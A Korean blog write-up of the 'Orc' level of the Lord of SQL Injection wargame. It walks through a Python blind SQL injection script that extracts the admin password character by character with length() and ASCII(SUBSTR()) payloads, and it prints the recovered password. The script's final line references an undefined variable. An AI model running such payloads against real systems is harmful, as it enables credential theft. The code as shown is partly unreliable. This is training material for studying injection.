WarGame/Lord of SQL Injection

[LOSI] Lord of SQL Injection Level 4 - Orc

무서운 몬스터가 우리 앞을 막아섰다. 오크라고 불리는 이 몬스터는.... 심각하게 뚱뚱한 이 몬스터를 쉽게 이길수 없다는 생각이 든다. 일단 코드를 확인하자.

<출처 : 나무위키 : https://namu.wiki/w/%EB%96%A1%EA%B0%88%EB%82%98%EB%AC%B4 > 떡갈나무(Oak Wood)

* 주의 : 이번 포스팅은 Python을 기본적으로 다룰 줄 아는 사람이 보도록 하자 모른다면 Python부터 짧게 공부하고 오자(다른 언어를 자유자재로 다룰 줄 안다면 이번포스팅에 굳이 Python을 알 필요는 없다. *

Python 배우기 : 2021.04.04 - [개발/Python] - [Python] - Python의 설치와 실행

 

[Python] - Python의 설치와 실행

농사를 지으려면 땅이 있어야 하고, 그림을 그리려면 캔버스가 있어야 한다. 무슨 소리냐. -- Python을 시작하려면 Python을 작성할 수 있는 개발도구가 있어야 한다. -- 프로그램도 자신의 맞는 환경

tutoreducto.tistory.com


코드 

두개의 쿼리로 구분된다. 편하게 query1, 2로 부르기로 하고, query1부터 확인해보자

 

Query 1

if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from prob_orc where id='admin' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello admin</h2>"; 

query 1은 pw라는 파라미터에 다음과 같은 제한사항을 두며 시작한다.

prob, _(언더바), .(점), \(역 슬래쉬)

query는 get방식으로 가져온 pw파라미터를 이용해서 id='admin' and pw='{$_GET [pw]}'를 실행한다. id를 가져오는 쿼리 결과에 admin레코드가 있으면 hello admin을 출력한다.

 

Query 2

 $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_orc where id='admin' and pw='{$_GET[pw]}'"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc"); 
  highlight_file(__FILE__); 

query 2는 pw를 가져온다. query결과에 pw레코드를 가져와서 존재하는지 확인하고, 실재 pw와 우리가 파라미터로 넘긴 pw가 같으면 solve()를 호출한다. 

 

우리는 진짜 pw를 알아야 한다!

 

저번 문제들과는 다르게 pw 그 자체를 요구하기에 이번에는 우회의 기법으로 해결할 수 없다. 따라서 우리는 새로운 무기가 필요하다

 


해결방법

 

Blind SQL Injection

우리는 Orc를 무찌르기 위해 새로운 무기인 Blind SQL Injection을 채용해야 된다. Blind SQL Injection은 무수히 많은 query를 요청하여 값 쿼리에 대한 참/거짓 혹은 변화하는 내용을 기반으로 정보를 get 하는 방법이다. 이번 문제에서는 query1이 Hello admin이라는 문자열을 출력하는 것을 기반으로 Blind SQL Injection을 실행하면 될 거 같다.

 

import string
from requests import get

if __name__=="__main__" :

    url = ##orc 문제 url
    cookie = dict(PHPSESSID ="##자신의 PHPSESSIONID 값##")
    length = 1  
    letters = string.digits + string.ascii_letters
    password = ''

    print("### START BLIND SQL INJECTION ###")
    print("\n\n### LENGTH of PASSWORD SEARCH ###")
    while(True) :
        param = "?pw=1%27%20or%20length(pw)="+str(length)+"%20and%20id=%27admin%27--%20%;"
        new_url = url+param
        req = get(new_url,cookies=cookie)

        if (req.text.find("Hello admin")>0) :
            print("FIND! password lenght id : "+str(length))
            break
        
        length+=1
        


    print("\n\n### PASSWORD SEARCH ###")
    for i in range(1,length+1) :
        for a in letters :
            param = "?pw=1' or id='admin' and ASCII(SUBSTR(pw,"+str(i)+",1))="+str(ord(a))+"--%20;"
            new_url = url+param
            req = get(new_url,cookies=cookie)

            if(req.text.find("Hello admin")>0) :
                print("find "+str(i)+"'s letter : "+a)
                password += a
                break

    print("="*25)
    print("find password : "+result)

오우! Python코드이다. 젠장 우리에게 왜 이런 시련이 닥친 것일까. 진정하자 코드는 굉장히 단순하다 한줄한줄 살펴보도록 하자. 코드는 정의부, 실행부 1, 2로 나누어 설명한다.

 

정의부

if __name__=="__main__" :

    url = ##orc 문제 url
    cookie = dict(PHPSESSID ="##자신의 PHPSESSIONID 값##")
    length = 1  
    letters = string.digits + string.ascii_letters
    password = ''

 

다음은 변수에 대한 설명이다.

1. url : 문제 url이다. query요청을 웹으로 날리려면 당연히 필요하다.
2. cookie : 세션 id를 담고 있는 dictionary이다.(세션을 모르는 사람이 있을 거 같아 아래 더보기에서 짧게 설명한다.)
3. length : 실행부 1에서 사용할 정수로 pw의 길이를 저장하는 변수이다.
4. letters : 실행부 2에서 사용할 문자열로 string모듈의 digits와 ascii_letters가 더해진다. 저장된 값은 다음과 같다.
>>> print(letters)
0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ
5. password : 알아낸 pw를 저장할 변수로, 빈 값으로 초기화해두었다.

 

더보기

쿠키와 세션

쿠키는 효율적이고 안전한 웹 사용을 보장하기 위해서 호스트에 저장되는 작은 데이터이다. 그중 우리가 이번에 사용할 PHPSESSID라는 쿠키는 세션 값으로, 요청이 누구에서 온 지를 기억한다. 이를 우리 요청에 넣어줌으로 "나의 요청"을 할 수 있는 것이다.

 

* 홈페이지에서 이동을 할 때 모든 요청에 대해 로그인을 취하지는 않는다. 이를 세션으로 기억해서 쿠키로 넘겨줌으로 서버에서 "아 이 요청은 XXX에서 발송한 거구나"를 인지할 수 있도록 해주는 것이다.

* 실제로 COOKIE에 세션 값을 넣는 행위는 보안 목적으로 좋지 않다. 쿠키는 OPEN 된 값이며, 요청 시 쉽게 노출된다. 따라서 여러 가지 부가적인 인증 메커니즘을 가지는 것이 마땅하지만, Lord of SQL Injection은 wargame사이트이기에 코드 작성을 위해 모든 로그인 정보를 쿠키의 PHPSESSID로 처리한다.

 

이제 코드의 본문인 실행부 1로 넘어가자

 

실행부 1

print("### START BLIND SQL INJECTION ###")
print("\n\n### LENGTH of PASSWORD SEARCH ###")
while(True) :
    param = "?pw=1%27%20or%20length(pw)="+str(length)+"%20and%20id=%27admin%27--%20%;"
    new_url = url+param
    req = get(new_url,cookies=cookie)

    if (req.text.find("Hello admin")>0) :
        print("FIND! password lenght id : "+str(length))
        break

    length+=1

실행부 1의 목적은 pw의 길이를 탐색하는 것이다. 이를 달성하기 위해 선택한 방법은 guest의 pw를 1로 설정하고(1은 guest의 pw가 아니다. guest레코드가 탐색되는 것을 방지하기 위한 대책이다.) length변수를 하나씩 증가시키며 DataBase함수인 length(pw)를 활용해 admin 레코드 추출에 성공한 "Hello admin"이 응답에 포함되는지 가져오는 것이다.

### START BLIND SQL INJECTION ###


### LENGTH of PASSWORD SEARCH ###
FIND! password lenght id : 8

이를 통해 알아낸 PW의 길이는 8이다. 웹페이지에서 보면 다음과 같다.

* 응? pw에 음영 들어갔네? 무시하자

 

거의 다 왔다. 다음은 실행부 2이다.

 

실행부 2

print("\n\n### PASSWORD SEARCH ###")
for i in range(1,length+1) :
    for a in letters :
        param = "?pw=1' or id='admin' and ASCII(SUBSTR(pw,"+str(i)+",1))="+str(ord(a))+"--%20;"
        new_url = url+param
        req = get(new_url,cookies=cookie)

        if(req.text.find("Hello admin")>0) :
            print("find "+str(i)+"'s letter : "+a)
            password += a
            break

print("="*25)
print("find password : "+result)

실행부 2의 목적은 알아낸 길이로 실제 pw를 찾아내는 것이다. 다음의 DataBase함수가 사용된다.

1. ASCII(parameter) : 전달된 한 글자 parameter의 ASCII값을 출력한다.
2. SUBSTR(letter, index, length) : 첫 번째 파라미터인 letter에서 index부터 length개의 값을 추출한다. 이번 문제에서는 pw의 첫 번째~마지막 글자를 하나씩 추출하는 데 사용된다.

 

우선 길이만큼 반복문을 사용하였다. param변수를 보면 우리가 GET으로 요청할 pw파라미터의 정의가 보인다.

앞부분은 우리가 알던 SQL INJECTION과 같으니 넘어가고, ASCII(SUBSTR(pw, "+str(i)+",1))="+str(ord(a))+"--%20;"을 보면 위에 함수 설명대로 pw의 한문자를 빼 온 다음 모든 영숫자로 정의된 letters의 반복자와 비교하여 로그인에 성공한 Hello admin문자열이 있으면 password에 문자열을 더해주는 동작을 한다.

 

이로써 알아낸 admin의 pw는 다음과 같다.

### PASSWORD SEARCH ###
find 1's letter : 0
find 2's letter : 9
find 3's letter : 5
find 4's letter : a
find 5's letter : 9
find 6's letter : 8
find 7's letter : 5
find 8's letter : 2
=========================
find password : 095a9852


가... 강적이었다.... 그래도 우리는 강력한 무기인 Blind SQL Injection의 도움으로 이 몬스터를 물리칠 수 있었다. Blind SQL Injection은 여러 가지 변형된 형태가 많다. 기초가 중요한 법이니, 이해가 어렵다면 여러 번 읽고, 다음 관문으로 넘어오도록 하자